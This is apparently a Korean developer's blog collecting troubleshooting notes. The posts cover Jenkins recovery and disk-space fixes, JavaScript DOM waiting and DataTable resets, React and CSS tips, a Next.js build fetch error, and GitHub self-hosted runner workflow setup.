젠킨스 홈 디렉토리가 설정 안해두면 , 내 로그인 했던 기본 경로 예를들면 내가 사용중인 계정 /home/사용중인계정폴더 밑에 .jenkins 라는 폴더가 생기고 거기서 돌아가니 당연히 아무것도 없이 초기화 상태가 나왔던거임
찐 폴더, 파일들은 /var/lib/jenkins 에 있는데 ....

그래서 /var/lib/jenkins 로 젠킨스 홈 디렉토리 조정하고 재실행하니까 정상화 되었음
config.xml , 플러그인들은 손 안댔음
결국 젠킨스 업그레이드 한답시고 그냥 예전버전 다시 되살린거에 불과함
정리해놓으니 별거 아닌데 오늘 새벽까지 뻘짓했던거라 일단 복구가 먼저기 때문에 일단 여기까지만 함 ㅎㅎ;
그래도 자바 버전 업그레이드 됐으니 한잔해

아래는 젠킨스 관련해서 참고하면 도움될만한 명령어 정리 .

# 젠킨스 다운 받는 링크 https://get.jenkins.io/war-stable/

# 다운 명령어 예시
sudo wget https://get.jenkins.io/war-stable/2.319.1/jenkins.war

# 젠킨스 버전 확인
java -jar jenkins.war --version

# 젠킨스 실행
java -jar jenkins.war

# 실행중인 젠킨스 확인
ps aux | grep jenkins

# 젠킨스 백그라운드 실행 및 로그 쌓기
nohup java -jar /usr/lib/jenkins/jenkins.war > /var/log/jenkins/jenkins.log 2>&1 &

# 젠킨스 로그 실시간 보기
tail -f /var/log/jenkins/jenkins.log

[javascript] await 으로 element 가져오기, Promise.race

월공 — Wed, 16 Oct 2024 15:16:01 +0900

element 가 로드 되지않았는데 가져오다보니 undefined 오류가 나서 await 을 추가해서 DOM 요소가 나올때까지 기다렸다 일정시간이 지나면 null 로 내뱉는 함수를 만들었다.
사실 내가 만든건 아님 채찍 형님이 만들었는데 유용하게 앞으로도 쓰일것 같아서 메모로 남긴다.

const element = await waitForElement("select_"+seq);

async function waitForElement(selector, timeout = 3000) {
    const start = Date.now();

    while (Date.now() - start < timeout) {        
    	# querySelector 로 할지 getBy 로할지는 본인 선택
        const element = document.getElementById(selector)        
        if (element) return element;
        await new Promise(resolve => setTimeout(resolve, 300));
    }
    return null;
}

기본 timeout 3초로 잡고, 3초되기까지 0.3 초 동안 내내 while 문을 돌면서 element 가 로드 되었는지 안되었는지 체크 후 값이 있으면 뱉어주고 3초 지나면 null

이렇게 쓰다보니 while 문 보다 setInterval 로 처리하는게 낫다고해서 변경
그리고 Promise.race 사용

async function waitForElement(selector, timeout = 5000, interval = 300) {
  const checkForElement = () => new Promise(resolve => {    
    const intervalId = setInterval(() => {
      const element = document.getElementById(selector);
      if (element) {
        console.log(element)
        clearInterval(intervalId);
        resolve(element);
      }
    }, interval);
  });

  const timeoutPromise = new Promise(resolve => {    
    setTimeout(() => resolve(null), timeout);
  });

  return Promise.race([checkForElement(), timeoutPromise]);
}

그나저나 리액트 해야되는데 .. 요즘 자바 프로젝트 한다고 다 까먹겠네 ㅠ

[Jenkins] 젠킨스 빌드 오류, jenkins.war 위치 , workspace 위치

월공 — Wed, 16 Oct 2024 10:45:11 +0900

젠킨스 버전 업데이트 하려다가 , 기존 서버에서 java 1.8 사용중이라.. 아래와 같이 개같이 실패하고 ㅋㅋ

jenkins.model.Jenkins#cleanUp: Jenkins stopped
Error: A JNI error has occurred, please check your installation and try again
Exception in thread "main" java.lang.UnsupportedClassVersionError: executable/Main has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

문제는 여기 단순히 젠킨스만 돌아가는게 아니고 온갖 배치도 다 돌아가는 서버라 괜히 java 버전 잘못 건드렸다가 호되게 당할것같아서 포기하고 여튼 업뎃 실패를 하게 되면서 젠킨스가 헤까닥 했었는데 다행히
기존 젠킨스 war 파일이 살아있어서 롤백을 하면서 되살리긴하였지만, 약간 꼬인감이 없잖아 있는듯하다.

다행히 전에 사용되던 war 파일이 tmp 였나 임시로 롤백 되있는 상태라 이름만 바꿔주고 젠킨스 재시작해서 되살림
war 경로는 별도로 설정 안고쳤다면 /usr/lib/jenkins 에 있을거다.

빌드 오류 1
cannot update the ref 'refs/remotes/origin/feature/myBranch': unable to append to '.git/logs/refs/remotes/origin/feature/myBranch ': Permission denied

해결 방법
이건 /var/lib/jenkins/workspace 경로로 진입해서 내가 배포하려는 프로젝트 폴더명 mv 로 _bak 이름 추가해서 백업해놓고
다시 재배포하니 정상작동 했다.
사실 지워도 상관없던듯
혹시 몰라서 그냥 백업 해놓음 ㅎ

빌드 오류 2
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-clean-plugin:3.1.0:clean (default-clean) on project myProject: Failed to clean project: Failed to delete /var/lib/jenkins/workspace/myProject222/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst -> [Help 1]

해결방법
위 해결방법이랑 동일하게 그냥 /var/lib/jenkins/workspace 에서 프로젝트 날리고 하면 되는듯, 근데 이 문제는 target 폴더만 지워서 재 빌드 시도하니까 성공했음

sudo rm -rf /var/lib/jenkins/workspace/myProject/target

용량 부족

용량 부족해서 빌드 실패하는거 보는건 또 처음인듯 한데 ..
난 세상 모든 오류를 겪는 월야니까 ㅎㅎ

ERROR: Failed to parse POMs
java.nio.file.FileSystemException: /var/lib/jenkins/workspace/myProject/target/my_project-1.0.5-SNAPSHOT.war -> /var/lib/jenkins/jobs/myProject/modules/com.ddd$my_project/builds/35/archive/com.ddd/my_project/1.0.5-SNAPSHOT/my_project-1.0.5-SNAPSHOT.war: No space left on device

해결방법
사실 해결방법이 뭐 있겠나 .. 그냥 안쓰는 폴더 지우면된다.
10년 다되가는 1기가 넘는 .csv 확장자 파일도 지웠고 ... 젠킨스 예전 빌드본도 지워서 용량 확보했다.

# 확장자 csv 인거 다 찾기
find . -type f -name "*.csv" -print


# 아래 경로에 확장자 csv 인거 싹다 삭제하기
find /home/디렉토리 -type f -name "*.csv" -exec rm -f {} +

난 위 파일들 정리하는거로는 좀 부족했어서 쓰잘데기 없는 과거 빌드 폴더를 좀 몇개 날렸다
빌드한 순으로 폴더가 일일히 다 생기는데 정상적으로 빌드 된것들은 딱히 굳이 보관할 이유를 몰라서 , 어차피 소스로 다 있기도해서 날렸음

/var/lib/jenkins/jobs/myProject/modules/com/builds

위 폴더 안에 순차적으로 #1,#2,#3,#4 요렇게 폴더들이 생성되있는데 안쓰면 삭제해주자

그외 용량 확인 관련 명령어 첨부

#각 폴더별 용량 확인
sudo du -sh /* 2>/dev/null | sort -h

# /data 안에 모든 폴더들 용량별 출력
du -sh /data/* | sort -h

#해당 폴더 용량 확인
sudo du -sh /var/lib/jenkins/jobs/myProject

그외 용량확인 국룰 명령어
df -h

Filesystem              Size  Used Avail Use% Mounted on
devtmpfs                3.9G   72K  3.9G   1% /dev
tmpfs                   3.9G     0  3.9G   0% /dev/shm
/dev/nvme0n1p1           20G   20G   55M 100% /
/dev/mapper/vg01-lvol1  485G  201G  260G  44% /data

하나 재밌는건 폴더명에 $ 달러가 들어가있는게 있었는데 , 암만 해도 cd 로 접근이 안되는것
딱봐도 특수문자 때문에 안되는거 같아서 , 마치 mysql 에 홀따옴표 정상적으로 insert 안되는것 마냥
앞에 \ 요거 붙여주면 정상적으로 찾아갈수 있다.

예를들어 폴더명이 my$project 라 하면 cd ./my\$project 요런식

[javascript] jQuery DataTable Reset, 테이블 초기화

월공 — Thu, 12 Sep 2024 13:28:24 +0900

jQuery DataTable 사용

문제점 : 모달 창으로 검색해서 띄우는 table list 가 있는데 , 모달창을 끄고 나면 테이블을 초기화 하고싶었다.
사실 나도 초기화 안하고 그냥 쓰고싶었는데 , 부모창에서 select 하는 옵션 마다 모달의 검색 조건도 살짝 살짝 바뀌는 사이트여서 어쩔수없었다.

검색 결과가 그대로 유지되어있으면 부모창에서 옵션을 바꿨을때 모달에서 맞지 않는 리스트가 보여지는게 싫었음

대충 아래와 같은 모달창의 datatable 이 있다 가정했을때 닫기 눌렀을때 초기화를 시켜주기로함

사실 초기화는 크게 문제 없었다, 다만 초기화를 하기위해서 여러 조건들을 갖추는데 꽤나 애를 먹었다.
datatable 초기화는 그냥 id 로 갖고와서 .DataTable() 한번 찍어주고, destroy 한번 해주면 끝난다.

fnCreateDataTables 는 대충 아래와 같이 되어있는 상태, '검색' 버튼을 누르면 ajax로 모달에 table 리스트를 뿌려줌

const fnCreateDataTables = function () {
    if (typeof aList == "undefined") {
        aList = COMMON.Ajax.CreateDataTable("#aTblList", true, {
            url: '/test/getList',
            lengthMenu: [10, 25, 50, 100, 200, 500],
            data: function () {
                return $("#form").serializeObject();
            },
            columns: [
                { "data": "idx", "class": "columnc","render": function (data, type, full, meta) {
                        return data;
                    }
                },                    
                { "data": "useFlag", "class": "columnc", "render": function (data) { return data === true ? 'O' : 'X'} },
                { "data": null,      "class": "columnc", "render": function (data, type, full, meta) {
                        return "<div class='flex justify-center gap-2'>" +
                            "<button type='button' class='btn btn-primary btn-xs btn-mini auth-all'>" +
                                "<i class='fa fa-list-ul'></i></button>" +
                            "</div>"
                    }
                },
                { "data": "regDate",        "class": "columnc" },
            ],
            fnDrawCallback: function(settings) {
                //
            }
        });
    } else {
        aList.clearPipeline();
        aList.ajax.reload();
    }
}

모달창의 "닫기" 버튼에는 onClick="fnResetDataTable(this) " 이벤트를 주었다.

let aList, bList;

...중략

function fnResetDataTable(t){
	//클릭한 element 의 최상위 class="modal" 인걸 찾는다
    const el = t.closest('.modal');

    if (el) {
    	// 테이블이 생성되면서 aList, bList 에 값이 담김
        const arr = [aList, bList];

        //테이블이 생성되어서 undefined 아닌것들(테이블이 된것들)만 추출한다.
        const availableArr = arr.filter(element => {
            return typeof element !== "undefined";
        })

        //undefined 아닌애들로 돌려서 해당 id reset 시키기
        for (let i = 0; i < availableArr.length; i++) {
            try{
                const getTableId = availableArr[i]?.context[0]?.sTableId;
                if (getTableId) {
                    COMMON.Ajax.ResetDataTable("#" + getTableId);
                } else {
                    console.log("테이블 id 찾는 도중 에러발생 ", availableArr[i]);
                }
            }catch (e){
                console.error(`테이블 초기화 도중 에러발생`, e);
            }
        }
		
        //다 끝나고 나면 다 undefined 처리 해버림
        [aList, bList] = [undefined, undefined];
    }
}

ResetDataTable 은 아래와 같이 진행

//초기화 부분
ResetDataTable: function(strLocation) {
    try {
        const table = $(strLocation).DataTable()
        if(table){
            table.destroy();

            const tbody = "<tr class=\"defaultData\" style=\"text-align:center\">\n" +
                " <td colspan=\"5\" style=\"font-weight:bold; border:1px solid #ddd;\">-</td>\n" +
                "</tr>"

            $(strLocation + " tbody").empty().append(tbody);
        }
    }catch (e) {
        //console.log(e);
    }
},

정리해놓으니 진짜 별거 아닌거 같은데 여러번 삽질 진행했다 -_-

닫기에 onclick 이벤트 붙은것처럼 선택을 진행했을때도 아래 reset 함수만 호출해주면 되니까 이상없이 진행되었음

undefined를 굳이 해야했나 ? 싶었는데, 굳이 해줘야되는거 맞음
안해주면 createTable 부분에서 aList, bList 가 undefined 가 아닌것으로 인식을 해서 ajax.reload() 를 때려버리는데
값을 가져오긴하는데 테이블의 기본적인 세팅, sort, order by , list 갯수 등이 초기화 되어서 지 멋대로 가져오는 문제가 있었음

[React, html , css] 작업 도중 메모, 재렌더링 key, 모바일 height 100%, border gradient 등등

월공 — Thu, 18 Apr 2024 10:00:47 +0900

굳이 리액트에만 국한된건 아니고 퍼블리싱이 대부분인듯한데 여튼
요번에 랜딩페이지 작업하면서 예전에 다 해봤었는데 깜빡하고 있었다가 다시금 상기된것 정리하려함.

문제 1. Key

국문/영문 페이지가 존재하고 FullpageSection 로 작업을 진행하였는데
국문, 영문으로 전환시 이중연산자로 처리한게 대부분이라 재렌더링이 없었음
문제는 국문은 Section 이 4개 , 영문은 Section이 5개
영문 Section5 는 왜 계속 안나오나 ... 삽질하다가 결론은 재렌더링이 안되어서 국문 Section 으로만 가지고 있으니 백날 영문으로 전환해도 의미가 없는것

해결방법 : key 추가 ....
key 만 추가 해주면 모든게 해결되는 문제였음 ..

문제 2. 모바일 페이지 height : 100%

모바일 브라우저가 정말 다양한데, 사파리 , 크롬, 삼성브라우저 등등등
여튼 작업표시줄 height 가 정말 다양해서 암만 css 에서 height 100% 박아놔도 모바일 실제 크기보다 더 늘어져있는걸 볼 수 있다.
그래서 어쩌라고 ? 작업표시줄 height 빼줘야한다.

해결 : context 이용해서 그냥 전반적으로 모든 component 에서 작업표시줄 toolbarHeight 가져와 쓸수 있게끔 세팅해놓고, 각 원페이지 컴포넌트에서 height 를 그만큼 빼줬다.

처음에 100vh 를 할까 했는데, 어디선가 모바일은 100vh 쓰면 안된다고 주워들었던거 같아서 , 삽질하고나서야 아 맞다 그때 그랬지 싶었음..

# DeviceContext.js

const [toolbarHeight, setToolbarHeight] = useState(0);
useEffect(() => {
    const getMobileBrowserToolbarHeight = () => {
        const vh = Math.max(document.documentElement.clientHeight || 0, window.innerHeight || 0);
        return window.screen.height - vh;
    };

    setToolbarHeight(getMobileBrowserToolbarHeight);
},[]);


# Section2.jsx

const { isMobile, toolbarHeight } = useContext(DeviceContext);

...생략...

//이모션
${theme.breakpoints.xl} {            
    height: calc(100% - ${({ toolbarHeight }) => toolbarHeight}px);
    min-height: 100%;
    min-heght: -webkit-fill-available;
}

...생략...


return (
    <Section2 toolbarHeight={toolbarHeight}>
    	...생략...
    </Section2>
)

# 아니면 요 두덩이 중에 하나도 요긴하게 쓰임

min-height: 100vh;
min-heght: -webkit-fill-available;

//height: 100vh;
//height: -webkit-fill-available;
//height: available;

이건 뭐 문제라기보단 짜잘한것들..

- svg 크기 조절하고싶으면 div로 감싸서 svg 는 100% 주고 겉에 div 크기를 맥여주기
- text-shadow, box-shadow 등등 있는데 , 자연스러운건 drop-shadow 가 제일 괜찮다는거
- span 나란히 두개 있을때 다음줄로 넘어가는거 , parent 에 display : inline-block 맥여주면 해결
- font-family : Roboto 안먹힐때 font-family: 'Roboto Sans', sans-serif; 로 넣으면 해결
- box 테두리랑, 내용 그라디언트 추가하는 문제 (이거 좀 많이 짜증났음, 아래 html css 코드 참고)
별거 아니라 생각했는데 생각보다 box border, content 둘다 gradient 추가하면서 radius 까지 넣는거 ㅋㅋㅋ
좀 까다롭더라 ㅎㅎㅎㅎ

<style>
  html {
    height: 100%;
    width: 100%;
  }

  .box{
    width:538px;
    height:510px;
    padding: 4px;
    border-radius: 20px;
    background-image:linear-gradient(rgba(97,97,97, 1) 0%,rgba(0, 0, 0, .5) 100%)
                    ,linear-gradient(0deg, transparent 30%, #9E9E9E 70%);
    background-origin: border-box;
    background-clip: content-box, border-box;
    box-shadow: 0px 10px 40px 0px rgba(0, 0, 0, 0.25);
  }

  .text{
    color:white;
  }
  
</style>

<body>
  <div class="box">
    <div class="text">왜 나한테만 기준이 엄격한데?</div>    
  </div>
</body>

[React] Video 태그 영상 자동재생

월공 — Fri, 12 Apr 2024 14:01:39 +0900

영상 백그라운드로 자동재생해야 되게끔 조정을 해야했는데, 될때 있고 안될때 있어서 이것저것 쑤셔넣어서 실험하다가
아마 아래껄로 진행 할듯 함
위 에러는 "the play() request was interrupted by a call to pause()" 뭔가 아직 준비 안됐는데 어거지로 작동시키려해서 나는 에러 같아서 settimeout 추가
그 이후로는 에러 발생 안했음

const videoRef = useRef(null);

...생략...

useEffect(() => {
    setTimeout(()=>{        
        const video = videoRef.current;
        if (video) {
        const playPromise = video.play();
        if (playPromise !== undefined) {
            playPromise.then(_ => {                
                console.log('성공')              
            }).catch(error => {
                console.log('실패')              
                console.error('Video playback failed:', error);
            });
        } 
        }
        return () => {          
        if (video) {
            //console.log('리턴')
            video.pause();
            video.currentTime = 0;
        }
        };
    }, 1000)
}, []);

...생략...

<VideoContainer>
    <Video
        ref={videoRef}
        autoPlay
        loop
        webkit-playsinline="true"
        muted
        playsInline
        preload="auto"                
    >        
        <source src="/images/bg/pv_saga.mp4" type="video/mp4" />
        {/* <source src="img/video.webm" type="video/webm" /> */}
        Your browser is not supported!
    </Video>
</VideoContainer>

사실 useEffect 까지 굳이 안쓰고도 위 처럼 넣은 Video 옵션들만으로도 충분히 영상 재생은 잘 되는듯한데 이 부분은 좀 더 테스트 진행해봐야 될듯함

[Next.js] nextjs build 시 TypeError fetch failed 발생

월공 — Wed, 17 Jan 2024 10:53:45 +0900

build 시 계속 위와같은 에러가 발생
로컬에서는 잘만되는데 서버에 올려서 build 만 하면 저렇게 떴다
처음에는 도대체 api 부분에 뭐가 문제여서 저러는지 이해가 안됐다

Error occurred prerendering page "/api/getpre". Read more: https://nextjs.org/docs/messages/prerender-error
TypeError: fetch failed
    at Object.fetch (node:internal/deps/undici/undici:11372:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

   Generating static pages (64/86) 
 ⚠ Entire page /wonderpass deopted into client-side rendering. https://nextjs.org/docs/messages/deopted-into-client-rendering /wonderpass
 ⚠ Entire page /wonderpass/testb4release deopted into client-side rendering. https://nextjs.org/docs/messages/deopted-into-client-rendering /wonderpass/testb4release


> Export encountered errors on following paths:
	/api/getpre/route: /api/getpre
 ✓ Generating static pages (86/86) 
Error: Process completed with exit code 1.

/api/getpre/route 파일의 내용을 아래와 같이 dynamic 부분을 추가 해줘서 강제로 동적 페이지로 설정하여 빌드시 나오는 에러를 해결 할 수는 있었는데

import { NextResponse } from "next/server";

//dynamic 추가
export const dynamic = "force-dynamic";

export async function GET() {
  const href = `${process.env.API_URL}/getApi`;  

  const res = await fetch(href, { cache: "no-store" });
  const data = await res.json();
  return NextResponse.json(data);
}

나중에 다른 기능들 테스트 하면서 보니, 애초에 백단 API 에 접근자체를 못해서 문제가 있었던거고, 로컬에서 잘됐던 이유는 .env 를 gitignore 에 추가해놓다보니 로컬전용 env 와 , 서버전용 env 가 달라서 잘됐던거였다. (로컬 env 쪽 API URL 은 옛날 링크 잘됐음)

원인은 허무하게도 백단 URL 쪽 인스턴스 방화벽 (인바운드,아웃바운드쪽) 문제였고 Allow 해줌으로써 해결됐다
백단 API 접근 잘되는거 확인되어서 혹시나 싶어서 dynamic 부분 주석처리하고 다시 빌드해보니 지금 잘된다.

사실 지금도 이해가 잘 안가는게, build 할때 fetch 하는 부분을 한번씩 불러봐서 fetch Error 가 뜬건가? 싶기도하고
그리고 fetch 하는 api 부분이 저기만 있는게 아니고 수십곳가 있는데 다른곳에선 왜 에러가 안났을까?

마지막으로 동적페이지 설정으로 잘됐던것도 , 동적페이지가 HTML 에 데이터를 추가,가공해서 보여주는건데 데이터를 애초에 못불러왔으니 정적 페이지로 설정해야 됐던거 아닌가 싶은데 왜 동적 페이지로 설정했을때 잘됐는지도 의문이다-0-

혼틈 개념정리
고정되서 안움직이는 (고)정적 페이지
유동적으로 움직이며 변경되서 보이는 (유)동적 페이지

[Github] 셀프 러너 Github Self hosted Runner 사용하는법 (Feat. 리눅스, 셀프호스트러너)

월공 — Fri, 12 Jan 2024 11:37:23 +0900

github action 사용하는법에 대해선 예전에 아래와 같이 포스팅 한적이 있습니다.

https://bug41.tistory.com/entry/Github-Github-Actions-%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94%EB%B2%95-SSH-%EC%97%B0%EA%B2%B0

외부망이 엄격히 막혀있는 서버지만 배포 프로세스를 갖춰야해서 찾아보다가
세팅 다 마치고 안까먹고자 작성하는 포스팅입니다.

셀프러너를 시작하고픈 Repo 의 Settings 에 들어가서 Actions -> Runners 로 진입

New self-hosted runner 진입

그럼 아래와 같이 나오는데 내가 어디서 돌릴지 macOS, Linux, Windows 중 하나 클릭 하면되고
그에 따른 세팅법이 아주 자세하게 나와있습니다.

아래 Download, Configure 진행해주시면되고 ,
Using your self-hosted runner 는 yml 에 작성해주면 되고 actions runner 설치할때 runner 이름 뭘로 하냐에 따라 다르게 입력되는거라 일단 신경 안쓰셔도됩니다.

차례차례 복붙해서 명령어 실행만 해주면되는데 중간에 shasum:command not found 뭐시기 에러 날 수도 있습니다.
그럼 당황하지말고 그냥 없는거 설치만 해주면됩니다.
아래 2가지 설치 진행하고 이상없이 세팅 끝마침

yum install perl-Digest-SHA -y

yum install libicu -y

아 그리고 runner 설치할때 뭐 그룹명 명칭 이런거 입력하라고 하는데 그냥 맘편하게 프로젝트명 써서 진행하셔도 무방합니다. (main.yml 에 들어감)

정상적으로 세팅이 완료 되었다면 "actions-runner" 폴더가 당연히 생성이 되있고 그 안에 runner 관련 파일들이 쭈루룩 있을건데

실행은 ./run.sh 라고 해주시면되는데 이러면 푸티창 계속 켜놔야하니까
아래와 같이 ./log 라는 폴더에 일별 파일명으로 로그도 쌓으면서 백그라운드로 실행을 해놓읍시다.

 current_date=$(date +"%Y-%m-%d"); ./run.sh > "./log/log_${current_date}.txt" 2>&1 &

이러면 러너 설치 및 실행준비는 끝,
이제 본격적으로 내가 배포하고싶은 프로젝트를 git pull 해서 내 서버에 갖고와야겠죠

git clone 해서 소스 불러오려하니 계속 username , password 틀렸네 어쨋네 말썽 부리길래 무슨 정책이 바뀌었다는것 같아서 그냥 맘편하게 토큰 생성해갖고 password 에 토큰 값 입력하시면 git clone 이상없이 진행 할 수 있습니다.
토큰은 github 로그인 후 우측상단 메뉴 -> Settings -> Developer Settings -> Personal access tokens -> Tokens(classic)
에서 생성 가능합니다.

여튼 프로젝트를 clone 해서 가져오면 프로젝트 내의 최상위 경로에 아래와 같이 파일을 생성해줘야하는데
직접 생성해줘도되고 아니면 github repo -> actions -> New workflow -> set up a workflow yourself 에서도 생성 가능합니다.

두가지 방식의 yml 이 있어서 둘 다 첨부합니다.

.github/workflows/main.yml

#main.yml
name: learn-github-actions  #이름 상관없음
on:
  push:
    branches: #main 브랜치에 푸시 될때마다
      - main 

defaults:
  run:
    working-directory: /home/ec2-user/프로젝트명 #프로젝트 경로

jobs:
  self-runner-testing: #이름 상관없음
    runs-on: [runner 명칭 위에서 프로젝트명으로 지정한거]      
    steps:      
		
      - name: Configure Git
        run: git remote set-url origin https://${{ secrets.TOKEN }}@github.com/${{ secrets.USERNAME }}/[프로젝트 repo명]
        
      - name: git pull 진행
        run: git pull origin main

      - name: npm install --force 실행
        run: npm install --force

      - name: npm run build 실행
        run: npm run build
        
      - name: pm2 restart myWeb 실행
        run: pm2 restart myWeb

위에 주석을 보시면 아시겠지만 정말 간단한 yml 파일입니다
main 브랜치에 푸시가 될때마다 아래 경로의 프로젝트에서 선언한 작업들을 처리해라 라는 뜻입니다.

Configure Git 부분을 안해주시면 git pull 할때 매번 username 같은 정보를 입력하라고 합니다.
해당 repo Settings -> Secrets and variables -> Actions -> Actions secrets and variables -> Repository secrets 에서 등록 가능합니다.

자세한 설명이 필요하시면 포스팅 최상단에 github action 세팅할때 글에 ${{secret.XXX}} 부분을 보시면 됩니다

이제 제 서버에 러너가 실행되고 있다가 main 브랜치에 푸시가 된것을 감지하면 , 푸시된 새로운 소스들을 자기한테 pull 해서 받아오고, npm install 을 진행후에 , build 를 하고 , pm2 를 재시작 할 겁니다.

사실 이렇게 세팅을 하니 package.json 이 수정되는게 아니라면 npm install 을 굳이 하지 않아도 되는데 이 부분은 좀 더
찾아서 보완을 할 수 있을듯 합니다.

다른 yml

위 처럼 진행안해도 actions/checkout 이라는걸 사용하면 git 저장소에 있는 최신화 된 소스를 가져와서 진행할수 있습니다.
위 main.yml 을 좀 더 보완해서 진행하였습니다.

name: learn-github-actions
on:
  push:
    branches:
      - main

jobs:
  build:
    runs-on: self-hosted

    steps:
    # 해당 repo 의 최신화된 소스로 접근
    - name: Checkout Repository
      uses: actions/checkout@v3
      with:
        repository: bug41/testRepo
        ref: main
        token: ${{ secrets.TOKEN }}

	#env 파일은 gitignore 에 추가되어있어서 따로 다른 폴더에 놓고 copy 진행함
    - name: Copy env file
      run: |
        cp [복사해야할 경로와 파일] /home/ec2-user/actions-runner/_work/myProject/myProject    

	# checkout 했을때 정말 최신꺼 가져오는지 테스트하려고 찍음
    #- name: Display Git Log
    #  run: git log

    - name: Install Dependencies
      run: npm install --force      

    - name: Build
      run: npm run build
      
	# build 잘됐는지 목록 보고싶어서 찍음
    - name: Display Folder
      run: ls -al

    - name: Restart pm2
      run: pm2 restart dapps 
      #run: pm2 start npm --name "dapps" -- start

    - name: Save PM2 Configuration
      run: pm2 save

이제 main 브랜치에 배포를 진행하고나서 Actions 페이지를 확인해보면 아래와 같이 구동되는 것을 확인 할 수 있습니다.

github action yml 을 작성할때 ubuntu 뭐시기 하면서 가상의 공간에서 진행을 하였는데, 셀프러너는 그 가상의 공간이 말그대로 내 로컬서버에서 진행이 되는거라 서버의 어떤 디렉토리든 접근하기 용이해서 편리했습니다.
"가상의 공간" 이라는게 결국 action-runner 를 설치한 _work 폴더에 내가 설정한 runner 명으로 들어가있고요
그 안에서 git checkout 으로 소스 땡겨오는거라 npm install 이던 build 던 다 진행가능합니다.

액션 러너를 백그라운드로 실행 하고있는데 제대로 돌고 있는지 확인하고 싶은경우 아래 명령어 입력

ps -ef | grep run

[React] 타입스크립트 옵셔널 체이닝, 옵셔널 , 함수형 업데이트, props 전달 등등 메모

월공 — Thu, 4 Jan 2024 00:10:13 +0900

복습겸 내가 보기 편하기 위한 기록..
큰건은 아니고 이번에 기존 돌아가고 있는 Next.js, Typescript 프로젝트에 기능 추가를 하였는데 그 과정에서 기록 해두고자 하는게 몇가지 있어서 짧게 포스팅 하려한다.

1. 옵셔널 체이닝 `?.`
undefined 오류 방지를 위해 쓰인다.
웬만한 undefined 오류에는 물음표가 직빵이다 ..
다른곳에서도 그렇고 ref 로 가져온 current 에 eventListener 에서도 오류 나던걸
옵셔널 체이닝으로 아래와 같이 해결하였다

childRef?.current?.removeEventListener('scroll', catchEventScroll);

타입스크립트가 이건 편한듯 ..

2. 논널 어썰쎤 오퍼레이터 (Non-null Assertion Operator) `!`
이건 뒤에 느낌표 붙여주는건데 논리 부정 연산자로 이 값은 무조건 null 이나 undefined 가 아니라고 못을 박아버리는건데
웬만하면 잘 안쓰일듯함

3. 타입 선언할때 useState 에 배열값을 선언할 경우 아래와 같이 할 수 있다.
이것도 옵셔널체이닝과 비스무리 하지만 옵셔널체이닝은 '?.' 이고 이건 그냥 ? 만 들어가는데 값이 있을수도 있고 없을수도 있다고 여지를 둬줌

#type.ts
export type dataType = {
    test1?: string[];
    test2?: string[];
    test3?: string[];    
};


#test.tsx
const [data, setData] = useState<dataType>(
	{ test1: []
    , test2: []
    , test3: []}
);

4. 무한 스크롤 기능을 구현해야되서 기존에 있는 데이터 뒤에 계속 fetch 한 resData 를 붙여줘야해서
아래처럼 진행을 하였는데

setData([...data, ...resData]);

같이 일하시는분이 아래와 같이 함수형 업데이트를 사용하길 권장하셔서 좀 찾아보았다

setData(e =>[...e, ...resData]);

위에꺼는 그냥 초기 렌더링시의 상태를 참조하는거고, 연속적으로 여러번 호출되면 중간에 다른 컴포넌트나 외부에서 data 가 변경된경우 원하지않은 결과를 얻을 수 있다고함

아래 함수형 업데이트는 이전 상태에 의존하므로 중간에 상태가 변경되도 정확한 결과를 얻을수 있다고함
사실 결과값은 똑같은데 데이터 여러 컴포넌트 거칠거 아니면 위에껏도 상관 없어보이긴하는데, 그래도 함수형으로 하는것도 좋은 방법이니 이번에 또 배웠다 참고하자~!

5. 자식 컴포넌트에서 부모 props 받아올때
배열이고 string 이고 number 고 함수고 받아올 경우가 있는데 아래와 같이 조정하면된다
타입 선언 하는거 때문에 본 에러만 몇번인지 ㅎㅎ;;

type props = {
  numberArr: number[];
  number: number;  
  stringArr: string[];
  function1: (value: string) => void;  
};

export const childComponent: React.FC<props> = ({
  numberArr, number, stringArr, function1
}) => {

... 생략

만약에 ref 를 가지고 가고싶다면 아래와 같이 진행 가능

#부모 컴포넌트
const childRef = useRef<HTMLDivElement>(null);
<ChildComponent ref={childRef}/>

#자식 컴포넌트
type props = {
    test:number,
    test2:string
};

export const ChildComponent = forwardRef(({ test, test2 }: props, ref: ForwardedRef<HTMLDivElement>) => {
...생략

이번에 작업하며 느낀점은
부모에서 자식 컴포넌트로 가는 1 depth 정도의 경우엔 리덕스가 굳이 필요없겠단 생각이 들었던 반면에
이번엔 형제 컴포넌트 들끼리 값을 공유해야하고, 부모에서 자식, 자식에서 또 자식 이렇게 2depth 까지 가면서 , 리덕스의 필요성을 느꼈다 ~~(props 타고타고 전달하는데 어찌나 현타가 오던지 .. )~~
다음번에 기능 추가할때는 Redux 를 심도있게 다뤄서 내걸로 만들어야겠다고 느낌

사실 일정이 촉박하고 퍼블리싱까지 도맡아 진행했어야 해서 정신없이 팍팍 넘어간 부분도 있어서 부끄러운 부분도 있는데 이렇게 조금씩 차근차근 정리해야겠다.

[React] 열고닫는 메뉴 , 메롱하는 메뉴, 다중 useState 관리

월공 — Sun, 31 Dec 2023 05:08:58 +0900

위 와 같은 기능을 만든다고 칩시다.
원래 css 이쁘게 tailwind 로 잡혀있는데 포스팅 하느라 다 빼서 없어보이는 점 양해부탁드립니다.
말이 메롱이지 , 열고닫는 메뉴, 혹은 클릭 했을때 해당 현상을 유지하는 식은 웹 사이트에서 흔히 사용되는 기능인데
근데 이 간단한걸 리액트 스럽게 반영하려니 살짝 뇌 정지가 왔어서 (jQuery 만 사용하던 응빱이라..)
복습겸, 기록겸, 남겨둡니다.

물론 아래 처럼 열고 닫는 상태들을 관리 할 수도 있겠지만 가오가 있지 다중 상태 관리로 진행합니다.

const [부모1, set부모1] = useState(false);
const [부모2, set부모2] = useState(false);
const [부모3, set부모3] = useState(false);

다중 뭐시기는 아래 처럼 진행 할 수 있습니다.
const { 부모1, 부모2, 부모3 } = filterValues; 요런식으로 쓰는 뭐라했었는데 정식명칭이 뭔지 기억이 안나네요 ㅋ
분할 뭐시기였나 ..

const initialFilter = {
      부모1: false,
      부모2: false,
      부모3: false,
};


export default function App() {

    const [filterValues, setFilterValuses] = useState(initialFilter);
    const { 부모1, 부모2, 부모3 } = filterValues;
    
   	.... 생략

